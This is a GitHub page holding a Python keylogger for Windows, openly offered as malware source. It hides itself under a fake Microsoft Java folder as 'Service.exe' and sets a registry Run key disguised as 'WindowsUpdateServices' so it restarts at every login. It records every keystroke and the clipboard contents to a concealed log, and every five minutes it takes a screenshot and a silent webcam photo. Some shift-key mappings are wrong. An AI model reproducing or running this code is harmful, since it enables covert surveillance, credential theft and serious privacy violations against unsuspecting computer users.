-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKeylogger.py
407 lines (366 loc) · 18.7 KB
/
Keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
import threading, os, sys, time, random
import cv2
import numpy as np
import shutil
# regestry
import _winreg as wreg
from tkinter import Tk
from time import sleep
import pythoncom
from pyHook import HookManager, GetKeyState, HookConstants
import win32con
import win32gui
import win32ui
import subprocess
import wmi
from PIL import Image
from PIL import ImageFilter
data = ''
imgPath = ''
logPath = ''
appPath = ''
clipboardResult = ''
r = Tk()
r.withdraw()
# Camera 0 is the integrated web cam on my netbook
camera_port = 0
# Number of frames to throw away while the camera adjusts to light levels
ramp_frames = 30
camera = ''
# main
class userKeyLog:
def __init__(self):
pass
def createRegestry(self):
# Reconn Phase
# current working directory of our executed script
path = os.getcwd()
clientName = 'Service.exe'
data_dir = self.createAppDir()
destination = self.resource_path(os.path.join(data_dir, clientName))
# destination = resource_path(os.path.join(data_dir,'client.exe'))
# If it was the first time our backdoor gets executed, then Do phase 1 and phase 2
if not os.path.exists(destination):
# copy our backdoor to destination folder
shutil.copyfile(sys.argv[0],
destination) # You can replace path+'\persistence.exe' with sys.argv[0] , the sys.argv[0] will return the file name
# and we will get the same result
# create a new registry key and point to our backdoor on system start
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0,
wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(key, 'WindowsUpdateServices', 0, wreg.REG_SZ, destination)
key.Close()
def createPath(self, path):
if not os.path.exists(path):
os.mkdir(path)
else:
pass
def resource_path(self, relative):
if hasattr(sys, "_MEIPASS"):
return os.path.join(sys._MEIPASS, relative)
return os.path.join(relative)
def createAppDir(self):
global appPath
user_profile = os.environ['USERPROFILE'] # get user profile
appPath = user_profile + '\\AppData\\Local\\Microsoft\\Java\\' # set the destination to copy our shell
self.createPath(appPath)
return appPath
def createImgDir(self):
global imgPath
user_profile = os.environ['USERPROFILE'] # get user profile
imgPath = user_profile + '\\AppData\\Local\\Microsoft\\Java\\Image\\' # set the destination to copy our shell
self.createPath(imgPath)
return imgPath
def createLogDir(self):
global logPath
user_profile = os.environ['USERPROFILE'] # get user profile
logPath = user_profile + '\\AppData\\Local\\Microsoft\\Java\\Log\\' # set the destination to copy our shell
self.createPath(logPath)
return logPath
def take_screenshot(self):
# Gather the desktop information
desktop = win32gui.GetDesktopWindow()
left, top, right, bottom = win32gui.GetWindowRect(desktop)
height = bottom - top
width = right - left
# Prepare objects for screenshot
win_dc = win32gui.GetWindowDC(desktop)
ui_dc = win32ui.CreateDCFromHandle(win_dc)
# Create screenshot file
bitmap = win32ui.CreateBitmap()
bitmap.CreateCompatibleBitmap(ui_dc, width, height)
compat_dc = ui_dc.CreateCompatibleDC()
compat_dc.SelectObject(bitmap)
# Capture screenshot
compat_dc.BitBlt((0, 0), (width, height), ui_dc, (0, 0), win32con.SRCCOPY)
bitmap.Paint(compat_dc)
timestr = time.strftime("_%Y%m%d_%H%M%S")
imgName = 'screenshot' + timestr + '.png'
self.createImgDir()
destination = self.resource_path(os.path.join(imgPath, imgName))
bitmap.SaveBitmapFile(compat_dc, destination)
# compress image
basewidth = 1920
img = Image.open(destination)
wpercent = (basewidth / float(img.size[0]))
hsize = int((float(img.size[1]) * float(wpercent)))
img = img.resize((basewidth, hsize), Image.ANTIALIAS)
img = img.filter(ImageFilter.SHARPEN)
img.save(destination)
# Release objects to prevent memory issues
ui_dc.DeleteDC()
compat_dc.DeleteDC()
win32gui.ReleaseDC(desktop, win_dc)
win32gui.DeleteObject(bitmap.GetHandle())
threading.Timer(300, self.take_screenshot).start() # called every minute
def getClipboard(self):
try:
global clipboardResult
# while not r.selection_get(selection="CLIPBOARD"):
# sleep(0.1)
clipboardResult = r.selection_get(selection="CLIPBOARD")
# r.clipboard_clear()
# r.destroy
# data = clipboardResult
# self.local()
return clipboardResult
except Exception as e:
pass
# Captures a single image from the camera and returns it in PIL format
def get_image(self):
# read is the easiest way to get a full image out of a VideoCapture object.
retval, im = camera.read()
return im
def captureWebcam(self):
# Now we can initialize the camera capture object with the cv2.VideoCapture class.
# All it needs is the index to a camera port.
global camera
camera = cv2.VideoCapture(camera_port)
# Ramp the camera - these frames will be discarded and are only used to allow v4l2
# to adjust light levels, if necessary
for i in xrange(ramp_frames):
temp = self.get_image()
# Take the actual image we want to keep
camera_capture = self.get_image()
timestr = time.strftime("_%Y%m%d_%H%M%S")
imgName = 'webcam' + timestr + '.png'
self.createImgDir()
destination = self.resource_path(os.path.join(imgPath, imgName))
file = destination
# A nice feature of the imwrite method is that it will automatically choose the
# correct format based on the file extension you provide. Convenient!
cv2.imwrite(file, camera_capture)
# You'll want to release the camera, otherwise you won't be able to create a new
# capture object until your script exits
del (camera)
threading.Timer(300, self.captureWebcam).start() # called every minute
# Local Keylogger
def local(self):
global data
self.createLogDir()
logFileName = 'logs.txt'
destination = self.resource_path(os.path.join(logPath, logFileName))
fp = open(destination, "a")
fp.write(data)
fp.close()
data = ''
return True
# Again, once the user hit any keyboard button, keypressed func will be executed and that action will be store in event
def keypressed(self, event):
global x, data
# print repr(event), event.KeyID, HookConstants.IDToName(event.KeyID), event.ScanCode , event.Ascii, event.flags
if event.Ascii == 13:
keys = '<ENTER>\n'
elif event.Ascii == 8:
keys = '<BACK SPACE>'
elif event.Ascii == 9:
keys = '<TAB>'
elif HookConstants.IDToName(event.KeyID) == 'Delete':
keys = '<DEL>'
elif event.Ascii == 32:
keys = ' '
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '1':
keys = '!'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '2':
keys = '@'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '3':
keys = '#'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '4':
keys = '$'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '5':
keys = '%'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '6':
keys = '^'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '7':
keys = '&'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '8':
keys = '*'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '9':
keys = '('
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == '0':
keys = ')'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Minus':
keys = '_'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Plus':
keys = '+'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_3':
keys = '~'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_5':
keys = '|'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_6':
keys = '}'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_4':
keys = '{'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_7':
keys = '"'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_1':
keys = ':'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_2':
keys = '?'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Period':
keys = '>'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Oem_Comma':
keys = '<'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'A':
keys = 'A'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'B':
keys = 'B'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'C':
keys = 'C'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'B':
keys = 'D'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'E':
keys = 'E'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'F':
keys = 'F'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'G':
keys = 'G'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'H':
keys = 'H'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'I':
keys = 'I'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'J':
keys = 'J'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'K':
keys = 'K'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'L':
keys = 'L'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'M':
keys = 'M'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'N':
keys = 'N'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'O':
keys = 'O'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'P':
keys = 'P'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Q':
keys = 'Q'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'R':
keys = 'R'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'S':
keys = 'S'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'T':
keys = 'T'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'U':
keys = 'U'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'V':
keys = 'V'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'W':
keys = 'W'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'X':
keys = 'Z'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Y':
keys = 'Y'
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(
HookConstants.VKeyToID('VK_RSHIFT'))) and HookConstants.IDToName(event.KeyID) == 'Z':
keys = 'Z'
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'C':
clipboardResult = self.getClipboard()
keys = ''
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
clipboardResult = self.getClipboard()
keys = clipboardResult
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'A':
keys = '<SELECT ALL>'
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'S':
keys = '<SAVE>'
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'O':
keys = '<OPEN>'
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'N':
keys = '<NEW>'
elif GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'X':
clipboardResult = self.getClipboard()
keys = ''
elif (GetKeyState(HookConstants.VKeyToID('VK_LSHIFT')) or GetKeyState(HookConstants.VKeyToID('VK_RSHIFT'))):
keys = '<SHIFT>'
else:
keys = chr(event.Ascii)
data = data + keys
self.local()
def run(self):
obj = HookManager()
obj.KeyDown = self.keypressed
obj.HookKeyboard() # start the hooking loop and pump out the messages
pythoncom.PumpMessages() # remember that per Pyhook documentation we must have a Windows message pump
def main():
# initialize userKeyLog class
userkeylog = userKeyLog()
# create App dir
userkeylog.createAppDir()
# create regestry
userkeylog.createRegestry()
# Capture Screenshot
userkeylog.take_screenshot()
# Capture webcam
userkeylog.captureWebcam()
# run logger
userkeylog.run()
if __name__ == '__main__':
# execute main function
main()